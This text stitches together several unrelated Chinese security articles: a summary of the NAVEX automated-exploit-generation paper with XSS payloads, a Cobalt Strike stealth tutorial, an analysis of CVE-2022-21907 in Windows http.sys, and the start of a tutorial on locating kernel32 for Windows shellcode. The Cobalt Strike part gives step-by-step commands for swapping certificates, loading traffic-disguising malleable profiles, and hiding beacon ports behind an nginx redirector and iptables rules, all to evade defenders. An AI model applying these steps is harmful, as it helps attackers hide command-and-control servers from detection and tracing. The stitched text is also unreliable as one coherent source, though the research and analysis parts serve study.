Fpath∧Fdb∧Fattack(Fpath是易受攻击的路径；Fdb是从DB标记派生的约束；Fattack是针对漏洞点的可控变量的，其值来源于之前构造的攻击字典)。之后使用求解器求出一组解(解就是是攻击字符串传入可控变量后在易受攻击的路径上经过过滤到达漏洞点依旧可以造成危害)。到此静态分析过程结束，之后的过程是通过动态分析得到攻击字符串到达攻击点的HTTP请求序列。
#### 3.2 Concrete Exploit Generation
NAVEX执行几个步骤来生成具体的Exp，如下图所示。首先，创建导航图来发现所有执行应用程序模块的可能HTTP请求序列；之后，结合静态分析阶段得到的可能漏洞点来筛选对应模块的执行路径；最终，生成可用的Exp。
##### 3.2.1 Dynamic Execution
NAVEX使用动态执行方法，借助约束求解和concolic执行来生成大量表单输入，以帮助爬虫最大化应用程序的覆盖范围。
**爬虫**
(解决客户端约束条件)：使用种子URL启动，可以对Web站点的每个角色自动化登录验证，采用广度优先遍历算法，新抓取的URL将作为下一次的爬虫的起始。此处的优点在于，首先，爬虫可以构造符合JavaScript验证的输入；其次，有效表单输入的自动生成提高了覆盖范围。
自动有效输入构造：NAVEX结合了表单HTML约束Fhtml和JavaScript约束Fjs来生成最终形式约束Fform，之后使用求解器来求解，最终得到对应的HTTP请求。示例如下：
// 约束公式
Fhtml : (book_name=="Intro to CS by author1" ∨ book_name=="Intro to Math by author2")
Fjs: edition > 0
Fform: Fhtml ∧ Fjs
// 求解得到的HTTP请求
http:.../selectBooks.php?action=borrow POST[book name=Intro to CS by author1, edition=2]
**解决服务器端约束**
：在服务端也会对输入有一定的约束，所以在满足前端约束后必须判断服务端约束是否也同时得到了满足。为解决这个问题，NAVEX会动态跟踪判断信息是否满足服务端约束，主要根据以下两点信息：(i)更改其状态（即，创建新会话，设置新变量和超全局值等）;(ii)执行敏感操作来确定请求是否成功，比如查询数据库等。如果检测到请求没有成功执行，那么将会concolic执行依据服务端程序逻辑得出约束公式并对之前发现的执行路径进行更新，之后使用求解器求解生成新的表单数据进行提交(在成功之前会一直执行这个过程)。服务端约束示例如下：
(book name=="intro to CS by author1" ∨ book name=="intro to Math by author2") ∧ length(publisher)<=35 ∧ edition >0
PS：NAVEX会存储导致成功提交的完整HTTP请求。
##### 3.2.2 Navigation Graph
导航图是一个有向图G=(N,E)，其中每个节点n∈N表示HTTP请求.每个边e=(ni,nj)∈E表示从ni到nj的导航，表示发起d的请求，可以是链接形式。图中的每个节点都具有以下属性id，URL，role和form
params，用于表示表单提交生成的HTTP请求。id属性存储节点的唯一标识符，URL属性是HTTP请求中的URL，它由请求的模块名称和HTTP参数组成，role属性包含爬虫使用的登录凭证。示例图如下：
##### 3.2.3 Final Exploit Generation
静态分析：扩展的CPG图和Exp字符串。
动态分析：NG导航图。
如何将这个两个信息进行组合并产生Exp就是此步的作用。
**优点：将漏洞Exp的构造问题转换为对图的简单搜索问题。**
难点：文件被包含这个过程在NG中是看不到的。
难点解决：预处理包含解析，此步骤创建存储文件包含关系的包含映射。通过执行遍历来构造映射，该遍历在增强的CPG中搜索表示对文件包含PHP函数的调用的节点，最终将得到包含图。
之后使用NG和包含图来搜索公共模块到存在漏洞模块的路径，具体算法见下图：
依据Figure4我们使用算法得到的序列如下：
1. http://localhost/App/index.php
2. http://localhost/App/selectBooks.php with POST params:[book name=intro to CS by author1, edition=2,publisher=aaaaaaa]
3. http://localhost/App/selectBooks.php?action
=borrow
4. http://localhost/App/hold.php
5. http://localhost/App/hold.php?step=checkout
6. http://localhost/App/hold.php?step=checkout
&msg=<script>alert(”XSS”);</script>
### 4 Implementation
NAVEX基于现有的几种工具进行实现：
1. 扩展的CPG图利用phpjoern进行实现；
2. 扩展的CPG图存储在Neo4j图形数据库中；
3. 图遍历算法使用Apache TinkerPop编写；
4. 约束求解使用z3以及其扩展Z3-str；
5. 爬虫程序使用被约束和z3断言扩展的crawler4j；
6. 爬虫对JavaScript的处理使用了Narcissus JavaScript引擎的扩展；
7. 服务端代码执行跟踪使用Xdebug。
### 5 Evaluation
**数据集** ：26个真实PHP应用程序，代码库组合为3.2M SLOC和22.7K PHP文件如下表所示。
标准：
(i) 评估最流行应用的最新版本，并且要求是复杂且大型的PHP应用程序，如Joomla，HotCRP和WordPress；
(ii) 使用NAVEX与已有的一些先进项目(例如，Chainsaw，RIPS)进行比较。
**部署** ：实验环境：Ubuntu 12.04 LTS VM，2核2.4GHz，40GB
RAM。目标WebApp部署：(1)进行静态分析；(2)部署后进行动态分析(注意每次爬虫后要恢复数据库初始状态)
**结果摘要** 。 NAVEX共构建了204个漏洞exp，其中195个注入类型，9个是逻辑漏洞。
增强的CPG平均将假阳性（FP）减少了87％。包含用于构建导航图的客户端代码分析将Exp生成的精度平均提高了54％。
在评估集上，NAVEX能够进行6个HTTP请求来拼接出Exp。
**增强的代码属性图统计** ：表2显示了增强的CPG构建时间和大小，可以看出NAVEX的运行时开销很低。
**导航图统计** ：表3总结了在NAVEX的步骤II中生成漏洞Exp的总时间。
以上是综述，下面将阐述作者从四个方面对NAVEX的评估：1.Exploits；2.定量分析；3.与相关工作的比较；4.限制和讨论
#### 5.1 Exploits
接下来作者将对NAVEX针对的漏洞逐一简要说明：
**SQLI漏洞** ：
漏洞触发点：mssql_query, mysql_query, mysqli_query,sqlite_query
漏洞定位：155个SQLI可利用的漏洞点，其运行时间为37分和45秒。
Exp生成：105个SQLI漏洞利用Exp，其运行时间为7分和76秒。
**SQLI漏洞利用** ：
**XSS漏洞** ：
漏洞触发点：echo、print
漏洞定位：1小时49分钟内共发现了133个XSS可利用的漏洞点，其中5个是误报
Exp生成：40分12秒为133个漏洞点生成了90个XSS漏洞利用
**XSS漏洞利用**
：如下所示包含strtr函数的路径会被认为是可被攻击的，但是htmlspecialchars的就不会，因为strtr函数对XSS的过滤能力很弱，之后求解器会选择%26%2339%3B-alert(1)-%26%2339%3B来进行绕过。
**EAR漏洞** ：
漏洞触发点：header
漏洞定位：17分17秒内发现了19个良性EAR和3个恶意EAR漏洞
Exp生成：成功针对22个EAR漏洞生成了9个漏洞利用
**代码执行漏洞** ：
漏洞触发点：eval
漏洞定位：在21m20sec内找到98次调用但是均无安全缺陷
**命令注入漏洞** :
漏洞触发点：exec,expect_popen,passthru,pcntl_exec,popen,proc_open,shell_exec,system,mail,backtick_operator
漏洞定位：在22m32sec内NAVEX没有找到任何易受影响的漏洞点
**文件包含漏洞** ：
漏洞触发点：include,include_once,require,require_once
漏洞定位：在27分58秒内找到1处接收器内包含了可控变量但是因为后面有约束所以无法构造出Exp，即此处依旧不可利用
#### 5.2 Measurements
1. 图5显示了NAVEX的性能(定位漏洞点的耗时和构造Exp的耗时)
2. 图6显示使用了过滤和DB标签增强的CPG对可能漏洞点判别的影响。(减少了误报)
3. 总覆盖率为68％
4. 对客户端代码进行分析带来的好处：提升了精度和覆盖率
#### 5.3 Comparison with Related Work
1. 漏洞检测方面与RIPS，Chainsaw的对比；
2. Exp生成与Chainsaw(只能够对SQLi和XSS生成Exp)的对比；
3. 效率方面与Chainsaw的对比：
生成Exp: NAVEX->25分钟2秒；Chainsaw->112分钟
前期准备: NAVEX->18分26秒；Chainsaw->1天13小时21分
#### 5.4 Limitations and Discussion
1. Web应用程序的某些功能尚不受支持，比如文件上传逻辑；
2. 自动从图节点导出的TAC公式不完整(未提及哪些不支持)；
3. 静态分析进行漏洞定位存在误报；
4. CPG图不支持解析动态函数调用(文中说这个不太重要但未具体说明，可能是使用极少)；
5. 如果网站的动态逻辑不被NAVEX支持，那么将无法构造漏洞利用(比如前面的SchoolMate程序的会话维持未被支持<-笔者从文中得到的信息)
### 6 Related Work
详细见论文中表述
### 7 Conclusions
PS: 此部分是一些笔者个人的总结并非论文的最终总结
之前对PHP漏洞的自动化审计工作主要分为静态分析和动态分析。其中静态分析的一些代表的可实际使用的工具有rips、cobra、Cobra-W以及seay代码审计系统，其中rips的建模分析以及攻击字典的构造是比较详细和全面的。虽然可以参考其代码和论文进行学习，但是开源版对现在而言已经不具有实用价值。cobra是基于AST进行分析，AST是具有一定的局限性的，从分析效果上而言没有控制流图好，当然也没有今天提到的CPG好。但是cobra在AST上建立的分析模型以及他对规则集的引入方式是具有一定参考性的。当然在cobra之后的Cobra-W是令人眼前一亮的感觉，虽然还未完全开发完成，但是它对文件包含的处理以及对于自定义过滤函数的处理思想是很值得学习的(相比rips的暴力直接将代码拼接好一些)。seay代码审计系统的优点就是其中包含了对数据库的审计。其它的还有phpvulhunter等工具，但是年代较为久远因而笔者没有对其代码做进一步的分析。在分析过上面的程序之后笔者也曾在一年前尝试引入别名分析等新机制来进一步改善静态分析的准确率，但是效果不是很理想随后就弃坑了。动态分析最具代表性的是prvd，这个笔者还未进行分析，但是用效果不错，感兴趣可以对其进行进一步的分析。
最后回到本文，此文提出的NAVEX采用静态分析和动态分析相结合的方式，可以自动完成对漏洞的分析并生成Exp。在文中提到的几个方法都是非常新颖的，从效果上来看很不错。如果从工程的角度来看，完全可以借鉴其思想从而进行深入的开发完善。
* * * | 社区文章 |
## 前言
最近有很多同学私信我，说咋渗透？没有一个完整渗透流程？工具不会用？
今天他来了，这次给同学们带来，cs特征隐藏，
cs的基础用法，网上也有一大堆，先知社区也有很多大佬写得很详细了，我这里就不在讲了。
## CobaltStrike概述
Cobalt Strike是一款美国Red Team开发的渗透测试神器，常被业界人称为CS。
成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket代理，office攻击，文件捆绑，钓鱼等功能。同时，Cobalt
Strike还可以调用Mimikatz等其他知名工具，因此广受黑客喜爱。
项目官网:<https://www.cobaltstrike.com>
俗称cs别名（多人运动），顾名思义，能够多人在线，搞事情
但是，cs这么强，cs的特征早被waf厂商标记了，你想想，好不容易搞下的目标，一连cs，就被waf提取到异常，分析下你的cs流量，ban了你的ip，cs权限就不又么得了，甚至被厉害的bt，溯源，万一你的密码简单，bt暴力破解你的cs，那不就被人一锅端了，
[cs暴力破解脚本](https://github.com/shanfenglan/bruteforce_cs_pwd)
这时候，就要隐藏我们的cs了，给他加buff，让waf发现不了
## CobaltStrike特征隐藏的几种常见方法
### 1.修改默认端口
**编辑文件teamserver进行启动项修改**
vim teamserver
修改为7896
然后启动
### 2去除证书特征
Cobalt Strike默认的证书，已经被waf厂商标记烂了，我们要重新生成一个新的证书，这里我们用JDK自带的keytool证书工具来生成新证书。
**Linxu**
直接使用，keytool命令
keytool
密钥和证书管理工具
命令:
-certreq 生成证书请求
-changealias 更改条目的别名
-delete 删除条目
-exportcert 导出证书
-genkeypair 生成密钥对
-genseckey 生成密钥
-gencert 根据证书请求生成证书
-importcert 导入证书或证书链
-importpass 导入口令
-importkeystore 从其他密钥库导入一个或所有条目
-keypasswd 更改条目的密钥口令
-list 列出密钥库中的条目
-printcert 打印证书内容
-printcertreq 打印证书请求的内容
-printcrl 打印 CRL 文件的内容
-storepasswd 更改密钥库的存储口令
使用 "keytool -command_name -help" 获取 command_name 的用法
在keystore里，包含两种数据：
密钥实体（Key entity）—— 密钥（secret key）又或者是私钥和配对公钥（采用非对称加密） 可信任的证书实体（trusted
certificate entries）——只包含公钥
**修改CS的证书文件**
查看下cs的默认证书，口令为`123456`
keytool -list -v -keystore cobaltstrike.store
可以看到，cs的默认证书的Alias name 、Onwer 和 Issuer 的信息，特征都比较明显。
该命令生成一个新的cs证书
360
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"
baidu
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
把新生成的证书替换掉默认的证书‘
**Windows**
在JDK 1.4以后的版本中都包含了这一工具，它的位置为`<JAVA_HOME>\bin\keytool.exe`。
C:\Users\28601.DESKTOP-7QBTS9F\Downloads\Compressed\kvm_client_windows\jre\bin\keytool.exe -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"
### 3.设置混淆配置文件
我们cs的客户端/服务端的流量通信，大部分流量审计软件，都能检测到cs默认的通信流量，所以cs开发团队，设置了配置文件，让用户直接设置客户端/服务端双向通信的流量格式以及软件相应配置,来绕过流量审计
cs官网给出的配置文件编写指南
https://www.cobaltstrike.com/help-malleable-c2
官方也给出了一个可修改的配置文件
https://github.com/rsmudge/Malleable-C2-Profiles
有兴趣的同学可自行看看配置如何写，我这边就直接github的了，地址如下
https://github.com/xx0hcd/Malleable-C2-Profiles/tree/master/normal
https://github.com/threatexpress/malleable-c2
这里使用伪造jQuery的C2-Profile
查看配置是否可用：./c2lint malleable-c2/jquery-c2.4.2.profile
启动配置./teamserver 服务器ip cs密码 混淆配置文件
抓包看流量，确实改变了
### 4.部署Nginx反向代理
现在我们的cs服务器登录端口隐藏了，流量也做了混淆，着次就要把，cs监听端口，给隐藏起来了，要不然，默认geturl，就能获取到我们的shellcode，加密shellcode的密钥又是固定的(3.x
0x69，4.x 0x2e)，所以能从shellcode中解出c2域名等配置信息。
不修改特征的话nmap 一扫就出来
nmap [ip][port] --script=grab_beacon_config.nse
修改这个特征有两个方法，
1.修改源码加密的密钥，
参考：Bypass cobaltstrike beacon config scan
https://cloud.tencent.com/developer/article/1764340
2.限制端口访问，让一般的扫描器扫不了出开，
这里我们用nginx做反向代理，通过ua过滤流量，然后防火墙限制端口只能让127.0.0.1访问shellcode端口
先到我们的服务器上安装nginx服务
找到nginx安装路径
whereis nginx
打开配置编辑nginx配置文件
一般在安装路径的 **config/nginx.conf**
vim /usr/local/nginx/conf/nginx.conf //具体看个人的nginx安装位置
在http中的server中配置中添加
location ~*jquery {
if ( $http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko")
{
return 404;
}
proxy_pass http://127.0.0.1:2095;
}
配置中的 **ua** 根据你的 **profile** 文件中设置的 **ua** 所定
**profile中的ua也可以自行修改**
设置防火墙只能让127.0.0.1访问监听端口
iptables -I INPUT -p TCP --dport 2095 -j DROP
iptables -I INPUT -s 127.0.0.1 -p TCP --dport 2095 -j ACCEPT
service iptables restart
直接访问域名，直接跳转404
4.png)
设置cs监听
直接生成exe，抓包测试，正常上线
### 5.https上线
默认的HTTPS的Beacon上线机器用的证书，及其容易被查出来，被识别，这里我们可以用自己的证书
我们可以直接在cloudflare上申请，非常方便,选择默认的pem格式
https://www.cloudflare.com/zh-cn/ssl/
分别复制内容保存为key.pem和chain.pem上传到cs的服务器上，再在nginx配置文件中启用证书。
为cobalt strike 配置证书
1.生成xxx.com.store文件
openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com -src
2.将生成的api.xxx.com.store放到cs目录下，修改teamserver文件最后一行,将cobaltstrike.store修改为api.xxx.com.store和store文件对应的密码。（有必要的话，把端口号也可以改了并设置iptables只允许特定ip访问）
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=40120 -Djavax.net.ssl.keyStore=./api.xx
3.将 keystore 加入 Malleable C2 profile 中
https-certificate {
set keystore “api.xxx.com.store”;
set password “123456”;
}
然后启动cs设置listener。
再通过nohup ./teamserver IP password amazon.profile &启动后抓上线包，证书就是自己申请的了
# 最后
我的博客开通了，还望大佬多多指点
[kosakd.top](https://kosakd.top/) | 社区文章 |
**作者：yyjb@360高级攻防实验室
原文链接：<http://noahblog.360.cn/cve-2022-21907-httpxie-yi-yuan-cheng-dai-ma-zhi-xing-lou-dong-fen-xi-zong-jie/>**
## 背景：
2021年最近的上一个http远程代码执行漏洞[CVE-2021-31166](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31166)中，由于其UAF的对象生命周期的有限性，似乎并不太可能在实际场景中实现利用。今年一月的安全更新中包含另一个http的远程代码执行漏洞CVE-2022-21907，根据官方更新说明这仍是一个非常严重的漏洞，我们有必要对他在实际环境中是否可能被利用进行进一步的判断。
## 开始准备分析之前的两点说明：
在开始分析之前，这里有两点分析过程中的思路提示需要提前说明。可以排除其他研究人员在理解这个漏洞可能产生的一些歧义。
A,最合适的补丁对比文件。
通常来说，我们在最开始选择对比的补丁文件时，尽量选择时间间隔最小的补丁文件。但是有时候，对于补丁文件的系统版本也非常重要。本例中，如果研究者使用server2019的http文件去分析，你会发现代码有太多改动是针对一些旧版代码的相对改动，并不是所有版本系统的某一模块都是一样的。
B，漏洞产生的方向。
这里我们说的方向主要指协议过程中，服务端和客户端的数据请求方向。通常来说一个可互联网蠕虫级别的漏洞，我们首先想到的触发方式可能是客户端向服务端发送请求，之后服务端在解析请求时发生的漏洞。如cve-2019-0708RDP代码执行漏洞以及永恒之蓝。但近年来随着这类漏洞发现的越来越困难，研究人员开始向将漏洞挖掘方向偏向于协议客户端的一些接收解析模块。但该漏洞似乎更加特殊，虽然它存在于服务端，却并不是解析处理客户端的具体数据内容模块，而是处于服务端接收客户端请求之后，进行的响应发送模块。
我们似乎并不能在最简单默认的http服务端系统配置中触发此漏洞，需要服务端包含一些特定的代码逻辑，该漏洞才会有比较大的威胁。具体来说，我们的poc代码是一个普通的http服务端代码，在其上加入有一些较小改动的特殊逻辑代码。只要客户端发起正常访问，即可触发服务端崩溃。
## 补丁分析：
我们使用最新的windows11的补丁文件进行分析。可以比较清晰的发现漏洞可能存在于这些代码中：ULpFastSendCompleteWorker,UlPFreeFastTracker,以及UlFastSendHttpResponse.中指针使用完之后清零的操作。另外有两处不太明显的代码即是申请FastTracker对象内存的函数：UlAllocateFastTracker和UlAllocateFastTrackerToLookaside.时，初始化部分头部内存。
通过梳理http快速响应包发送流程，我们可以发现这些补丁的作用都是针对FastTracker对象中的一些指针地址所进行的。
其中主要有以下三个对象指针。
FastTracker中的LogDatabuffer对象，UriCacheEntry对象以及一个FastTrackerMDL指针。
## 失败的尝试:
通常来说，根据此漏洞的官方描述严重性，我们通常会先考虑这些对象是否存在UAF的情况。
我们优先分析了LogDatabuffer对象，UriCacheEntry对象的生命周期，如果仅从这两个对象的申请和释放过程判断，我们并没有找到较容易发现的触发可能的UAF错误方式。
之后开始考虑第三个FastTracker的MDL指针。
## 剩下的可能：
通过前面的测试结果以及分析思路，我们有留意到FastTracker本身在申请释放过程中其内存的一些变化，大致上，FastTracker对象的申请有两种情况，首先查看http响应结构中一些数据长度是否满足最低需求，以及http
Tailers长度是否为空，满足条件则直接使用http内部链表对象，否则申请新的内存。问题在这里开始出现，补丁之前的代码，如果申请新内存，有一些关键偏移是没有初始化内存的。其中就包括FastTracker的MDL几个相关判断标志以及MDL本身的地址指针。
之后，思路就比较清晰了，我们需要做的就是构造这样的一个逻辑：当FastTracker申请内存成功之后，并在完全初始化MDL指针之前，故意触发一个HTTP快速响应流程中的任意一个错误，使http提前释放FastTracker对象。而这时，如果FastTracker对象中，未初始化的MDL相关指针位置包含申请内存时包含的一些随机数据，则可能导致这些随机数据被当作MDL指针进行引用。
## 说明：
**这里需要提出一个特别注意的地方。即该漏洞与http Tailers的联系。**
从表面上看，该漏洞的直接原因是新FastTracker对象重新从系统内存申请时，未初始化导致的。这样，Tailers长度是否为空作为FastTracker从系统内存申请的判断条件之一，则直接影响该漏洞是否能触发。但是如果继续分析，会发现，即使没有http
Tailers的判断条件，该漏洞仍然是可以被触发的。
具体存在以下逻辑：如FastTracker对象申请流程图中，如果发现该http响应结构中不包含http
Tailers，会先查询http内部链表，如有空闲对象，则使用空闲对象。这种情况下，这里仍有可能存在一种特殊情况，即内部链表被耗尽，仍需继续通过另一个UlAllocateFastTrackerToLookaside申请新的内存。不过微软已经注意到这里，同样修补了这里的FastTracker的初始化工作。但这意味着，即使http服务端没有开启支持
Tailers特性，该漏洞仍然是可能被触发的。测试之一，仅仅是增加对服务端的访问频率即可做到这一点。
## poc:
如该漏洞开始分析之前的描述，该漏洞poc主要为我们自己编写的一个http服务端。该服务端唯一不同的地方，
**是在http响应包发送流程中，在申请FastTracker之后，在FastTracker中的UriCacheEntry对象初始化之前，使http响应流程失败，并开始销毁FastTracker对象即可**
。（作为示例，其中一种方式，我们在服务端代码的响应包中，加入了一个超过http限制长度的固定头字符数据使得系统认为该固定头数据无效而丢弃）。
当然，要达到这个目的还有很多方式，还有另外的判断可以选择，。只要在这些响应包结构生成流程中（即UlFastSendHttpResponse），在如：UlGenerateMultipleKnownHeaders，UlGenerateFixedHeaders相应包结构生成的流程中出现判断失败，则该服务器代码就可能触发该漏洞。
然后触发该漏洞的方式只需要在客户端访问该端口并进入到我们服务端对应流程即可。因为我们没有刻意进行内存布局，并不是每次访问都能导致崩溃，这需要未初始化内存刚好符合FastTracker的MDL指针的一个标志判断。如下，满足v118+10的标志位为1.
漏洞触发堆栈如下：
## 总结：
最后，该http远程代码执行漏洞虽然在类型上仍属于UAF（use after
free）,但该漏洞实现exp有两个比较重要的前提条件待解决。1是该漏洞的触发原理，需要服务端的http代码中，包含一个流程错误的构造操作使HTTP
FastTracker因为意外而提前释放，这需要http服务端开发人员在他的代码中刚好包含这样的一个逻辑。2另外则是该漏洞的利用实现方式，即通过布局HTTP
FastTracker的未初始化的内存，通过漏洞触发去操作我们自己伪造的MDL指针结构。为了要执行代码，除了我们可能需要继续分析一种可能的信息泄露方式（如构造读写源语或者利用MDL本身的一些机制），但我们仍有大量的后续代码执行方式上的尝试工作要做。所以，就目前短时间来说，该漏洞被利用的困难程度可能较大。
**但是对于那些未启用http Tailers支持的服务器，也需要尽快更新此补丁。**
## 参考：
<https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee>
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907>
* * * | 社区文章 |
# Windows(x86与x64) Shellcode技术研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近研究Windows x64
Shellcode技术，发现关于Shellcode技术相关文章比较杂而且有的存在错误，所以写下这篇文档。此文档主要是通过阅读吸收参考文献，进行总结。第一次使用markdown，如有格式错误、图片不清勿怪。
Windows下的32位与64位的Shellcode编写基本原理和过程是一致的，只是在寄存器、堆栈平衡与函数参数传递等方面存在不同。一般情况下，Shellcode是由汇编代码编写，并转换成二进制机器码，其内容和长度经常会受到苛刻的限制，所以与普通的汇编程序开发不同。
如图1所示，Shellcode开发流程分为6个步骤:
**(1).定位kernel32.dll 基址**
所有Windows程序都会加载ntdll.dll和kernel32.dll，通过kernel32.dll中的LoadLibrary和GetProcAddress加载其他DLL与获取其他函数地址。
**(2).定位GetProcAddress函数的地址(不是必需的)**
GetProcAddress函数位于kernel32.dll，其功能为获取DLL中的函数地址。
**(3).定位LoadLibrary函数的地址**
LoadLibrary函数位于kernel32.dll，用于加载DLL。
**(4)加载DLL获取基址**
通过调用LoadLibrary函数，获取DLL基地址(如user32.dll)。
**(5).获取其他函数地址**
获取加载的DLL中的函数地址。
**(6).函数调用**
根据函数地址，通过call指令调用函数。
## 一、 定位Kernel32.dll基址
每个程序都会加载kernel32.dll，所以可以在进程环境信息(PEB)中获取kernel32.dll基址。下面分别介绍Windows
x86和x64定位kernel32.dll基址方法。
### 1.1 Windows x86定位kernel32基址
如图1-1所示，x86定位kernel32.dll的过程可以分为：定位TEB与
PEB、定位Ldr、定位LDR_DATA_TABLE_ENTRY与确定kernel32.dll基址等4个步骤，下面一一详述：
**(1).定位TEB与PEB**
TEB（Thread Environment
Block，线程环境块）中保存频繁使用的线程相关的数据。进程中的每个线程都有自己的一个TEB。一个进程的所有TEB都以堆栈的方式，存放在从0x7FFDE000开始的线性内存中，图1-2描述的是TEB结构体的详细信息。如图1-3所示，PEB（Process
Environment Block，进程环境块）存放进程信息，每个进程都有自己的PEB信息。进程环境块的地址在0x7FFDF000处。但是从Windows
xp SP2中就引入了TEB与PEB随机化技术，TEB与PEB的基址不再固定。
虽然PEB和TEB的基址具有一定的随机性，可以通过FS寄存器可以获取TEB的基址。很多文档中提到FS中存储TEB基址，实际并不是这样。在FS存储的是TEB在GDT(Global
Descriptor Table)中的序号，通过GDT获取TEB的基址。如图1-2所示，PEB结构体在TEB偏移0x30处，即FS:[0x30]。
**(2).定位Ldr**
如图1-3所示，在PEB偏移0x00c处是Ldr，Ldr的类型为PEB_LDR_DATA结构体指针。Ldr的作用是存储进程已加载的模块(Module)信息。Module是指PE格式的可执行映像，包括EXE映像和DLL映像。如图1-4所示，Ldr通过3个队列存储进程加载的Module信息，即InLoadOrderModuleList、InMemoryOrderModuleList、和InInitializationOrderModuleList。前两个模块队列都是模块加载队列，第三个是模块初始化队列。前两个模块队列的不同之处在于排列的次序，一个是按装入的先后，一个是按装入的位置。
**(3).定位LDR_DATA_TABLE_ENTRY**
每当为本进程装入一个模块时，就要为其分配、创建一个LDR_DATA_TABLE_ENTRY数据结构，并将其挂入InLoadOrderModuleList和InMemoryOrderModuleList，完成对这个模块的动态连接以后，就把它挂入InInitializationOrderModuleList队列，以便依次调用模块的初始化函数。由此可见进程加载的每个模块都会有一个LDR_DATA_TABLE_ENTRY，其作用为存储模块的基本信息。如图1-5所示，DLL基址(DLLBase)在偏移0x18处。
Ldr中的3个字段InLoadOrderModuleList、InMemoryOrderModuleList、和InInitializationOrderModuleList是这3个队列的起始位置，它们分别指向LDR_DATA_TABLE_ENTRY
结构体上的InLoadOrderModuleLinks、InMemoryOrderModuleLinks、和InInitializationOrderModuleLinks字段。如图1-5所示，在LDR_DATA_TABLE_ENTRY中可以通过相对偏移计算处DLLBase的地址。
**(4).确定kernel32.dll基址**
由Ldr中的3个List字段可以获得LDR_DATA_TABLE_ENTRY中3个Links的地址，通过相对偏移计算出DLLBase，自此只是计算出进程加载的第一个Module的基址。那么如何获取其他的Module的基址呢？这3个List的字段是List_Entry类型的指针，如图1-6所示，List_Entry中有两个List_Entry类型的指针，由此可见Ldr中的3个List是双向链表，那么如何获取到所有Module的基址就很明确了。
如图1-1所示，Module A的3个Links结构体的Flink指针分别指向Module B
的3个Links字段的地址，同理可以获取所有Module的Links字段的地址，从而计算出Module的基址。
其实通过LDR_DATA_TABLE_ENTRY中的3个Links字段的任一个都可以计算出Module的基址，那么该如何选择呢？下面先分析一段代码：
代码1-1是Windows XP下Shellcode最通用的获得kernel32基址代码，但是无法在Windows
7和以上版本正常运行，因此大大降低了其通用性。通过在Windows 7和Windows
XP中遍历InLoadOrderModuleList、InMemoryOrderModuleList、和InInitializationOrderModuleList这3个队列，可以得到如图1-7的结果。Windows7和XP的不同在于：InInitializationOrderModuleList
(图中的List3)中的kernel32.dll和kernelbase.dll的次序不同，导致Windows
XP的Shellcode无法在Windows7中正常运行。Windows
XP中选择InInitializationOrderModuleList队列的原因是kerneldll.32位于第二项，而其他两个队列中都是位于第三项。因此代码1-1只要在第4行之后加一次寻址操作即可在Windows
7中正常运行。如果使用队列nLoadOrderModuleList和InMemoryOrderModuleList就能同时兼容Windows XP和7 。
为什么在之前通用的shellcode的代码中不采用nLoadOrderModuleList和InMemoryOrderModuleList以提高普适性？主要是因为前2个List不适用于Windows
2000。
如代码1-2所示，综上所述可以得出适用于Windows XP和Windows7的代码汇编代码。
为了提高代码的通用性，可以不依赖于各个Windows各个版本的InLoadOrderModuleList等3个List中的kernel32.dll的位置，可以在遍历List时判断DLL的名称从而确定当前Module是否为kernel32.dll。如代码1-3所示，获取InInitializationOrderModuleList地址后，通过偏移计算出DLL基址，然后在DLL导出表中找到DLL名称字符串地址并与kernel32.dll比较，直至匹配成功。如何寻找DLL导出表以及导出表的结构会在第二章详细介绍。只要Windows的PE文件结构不改变，该代码均可通用。这样虽然提高了通用性，但是Shellcode的长度也增大了。
### 1.2 Windows x64定位kernel32基址
Windows x64获取kernel32基址的基本原理与方法是一致的，存在的区别具体如下：
**(1).指向TEB在GDT的序号不再是FS寄存器，改为GS寄存器。**
如图1-8所示，GS寄存器指向TEB在GDT中的序号，PEB在TEB偏移0x60处，即GS:[0x60]
**(2).TEB、PEB、Ldr与LDR_DATA_TABLE_ENTRY的偏移量有所不同。**
如图1-9所示，Ldr在PEB偏移0x18处。如图1-10所示，3个队列指针在Ldr中的偏移量分别为：0x10、0x20与0x30。在LDR_DATA_TABLE_ENTRY中3个队列节点指针偏移量分别为：0x0、0x10与0x20，DLL基址(DllBase)位于偏移0x30处。其中InMemoryOrderModuleLinks与DllBase的相对偏移量为0x20。
通过上述分析，可以得出在Windows x64下通用的定位kernel32基址的代码如代码1-4所示。
## 二、定位函数
### 2.1 Windows x86定位函数
Shellcode一般情况下是运行在其他进程中，无法确定所需函数的DLL是否已经加载到内存。受ASLR（地址空间布局随机化）机制的影响，系统不会每次都把DLL文件加载到相同地址上。而且DLL文件可能随着Windows每次新发布的更新而发生变化，所以不能依赖DLL文件中某个特定的偏移。开发Shellcode需要把DLL加载到内存，然后根据DLL基址获取函数地址。
加载DLL文件需要kernel32.dll中的LoadLibrary函数；获取目标函数地址可以通过函数名匹配与kernel32.dll中的GetProcAddress函数两种方法。由此可知：一是kernel32.dll基址是定位函数的基础；二是由kernel32.dll基址获取LoadLibrary与GetProcAddress函数地址和由加载的DLL基址获取其他函数的原理是一致的，总结为由DLL基址定位函数地址。所以本节需要解决的核心问题是：如何由DLL的基址获取函数地址。
如图2-1所示，在DLL基址处是DOS头，在偏移0x03c处是e_lfanew字段，该字段存储的是NT头的偏移。如图2-2所示，在NT头偏移0x018处存储的是NT可选头结构体(OptionalHeader)。
